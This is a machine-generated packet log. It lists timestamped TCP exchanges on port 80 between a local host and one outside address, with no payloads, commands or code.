Dec 12, 2024 16:48:23.550293922 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.550407887 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.551527977 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.551614046 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.551626921 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.551651955 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.552973986 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.553020954 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.553142071 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.553248882 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.554502964 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.554559946 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.554600000 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.554773092 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.555985928 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.556035995 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.556063890 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.556101084 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.557466030 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.557485104 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.557529926 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.558901072 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.558948994 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.559017897 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.559065104 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.560467005 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.560538054 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.560616970 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.561161041 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.561885118 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.562053919 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.562091112 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.562134981 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.563409090 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.563488007 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.563503981 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.563524961 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.564887047 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.564910889 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.564940929 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.564960957 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.566379070 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.566498041 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.566500902 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.566634893 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.567843914 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.567895889 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.568006992 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.568046093 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.569281101 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.569941044 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.617290020 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.618010998 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.737306118 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.737847090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.737891912 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.737930059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.738234997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.857953072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319658041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319680929 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319693089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319710970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319726944 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.319797039 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.319828033 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319840908 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319853067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319865942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.319871902 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.319914103 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.319961071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.319989920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.320002079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.320075989 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.320075989 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.439635038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.439709902 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.439716101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.439758062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.511555910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.511617899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.511636019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.511666059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.515769005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.515857935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.515882015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.516247988 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.522295952 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.522398949 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.522440910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.522440910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.530667067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.530725002 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.530816078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.530816078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.539056063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.539335012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.539336920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.541940928 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.547465086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.547574997 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.547652960 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.555913925 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.556122065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.556183100 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.556389093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.564276934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.564311028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.564388037 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.564388037 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.572679996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.572752953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.572771072 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.572805882 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.581065893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.581144094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.582087994 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.582087994 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.588797092 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.588895082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.589054108 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.589139938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.703531981 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.703546047 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.703736067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.703736067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.706046104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.706060886 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.706196070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.706196070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.710602999 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.710649967 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.710753918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.710827112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.715599060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.715697050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.715744019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.716104031 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.720530033 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.720690966 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.720798969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.725434065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.725533009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.725764036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.727762938 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.730248928 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.730257034 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.730540991 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.734292030 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.734802961 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.734882116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.739723921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.739738941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.740454912 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.743746042 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.743890047 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.744277000 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.748534918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.748650074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.748856068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.753887892 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.753895044 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.753969908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.758632898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.758641005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.758722067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.763276100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.763593912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.763732910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.763732910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.768094063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.768100977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.768192053 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.772984028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.772993088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.773052931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.776973009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.777000904 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.777049065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.777092934 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.781748056 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.781793118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.781882048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.786506891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.786565065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.786644936 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.786644936 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.791268110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.791562080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.895705938 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.895756960 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.895793915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.895886898 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.897615910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.897716045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.897806883 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.897806883 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.901648045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.901756048 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.901793957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.901793957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.905539036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.905616045 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.905652046 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.905751944 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.909562111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.909683943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.909743071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.909743071 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.913402081 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.913458109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.913495064 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.913495064 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.917144060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.917190075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.917253971 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.917253971 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.920792103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.920900106 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.920917034 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.920994997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.924916983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.925035000 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.925051928 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.925087929 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.928121090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.928200960 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.928214073 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.928247929 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.931714058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.931741953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.931863070 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.935354948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.935432911 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.935465097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.935477972 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.939040899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.939210892 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.939284086 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.942711115 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.942785978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.942794085 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.942843914 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.946321964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.946408987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.946474075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.949871063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.949939013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.950275898 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.950277090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.953764915 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.953811884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.953829050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.953850031 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.957154036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.957161903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.959342003 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.960845947 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.960978985 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.962496042 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.964436054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.964524031 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.964667082 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.968090057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.968133926 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.968303919 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.971678019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.971820116 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.971888065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.975290060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.975440025 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.975553036 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.979053974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.979300022 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.979382038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.982614040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.982650042 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.982775927 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.986404896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.986411095 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.986465931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.989892006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.989995003 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.990726948 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.993494987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.993558884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.993580103 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.993623018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:25.997287035 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.997492075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:25.997556925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.000950098 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.001022100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.001229048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.004450083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.004487991 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.004565954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.008186102 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.008445024 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.008824110 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.011689901 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.011694908 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.012423992 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.087827921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.087956905 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.088068962 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.088068962 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.089224100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.089818954 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.089986086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.091336012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.091553926 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.092777967 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.092870951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.093013048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.095038891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.095145941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.095256090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.095256090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.098050117 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.098130941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.098262072 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.100995064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.101058006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.101300001 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.101300001 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.103832960 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.103873968 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.103935003 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.104263067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.106791019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.106856108 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.106868982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.107167959 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.109460115 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.109550953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.109555006 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.109616995 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.112026930 CET	80	49882	80.82.65.70	192.168.2.11
